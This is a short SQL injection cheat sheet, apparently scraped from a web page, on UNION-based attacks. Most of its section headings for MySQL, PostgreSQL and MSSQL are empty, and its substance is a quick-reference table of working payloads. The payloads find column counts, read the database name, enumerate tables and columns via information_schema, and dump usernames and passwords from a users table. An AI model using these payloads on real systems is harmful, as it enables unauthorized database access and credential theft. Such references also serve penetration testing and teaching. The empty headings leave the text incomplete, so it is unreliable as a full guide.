Overview
UNION-based SQLi appends a second query to the original usingUNION SELECT. Requires: output visible on page, and matching column count/types.
Find Number of Columns
ORDER BY
UNION SELECT NULL
Find Displayable Columns
Extract Data
Current Database
Current User
Version
Enumerate Tables
MySQL
PostgreSQL
MSSQL
Enumerate Columns
MySQL
PostgreSQL
MSSQL
Dump Data
MySQL
PostgreSQL
MSSQL
Multiple Columns into One
When only one column is displayable:String vs Integer Columns
If column expects integer:Quick Reference
| Step | Payload |
|---|---|
| Find columns | ' ORDER BY N-- - |
| Find display | ' UNION SELECT 1,2,3-- - |
| Database | ' UNION SELECT 1,database(),3-- - |
| Tables | ... FROM information_schema.tables WHERE table_schema=database() |
| Columns | ... FROM information_schema.columns WHERE table_name='tbl' |
| Dump | ' UNION SELECT 1,group_concat(user,0x3a,pass),3 FROM users-- - |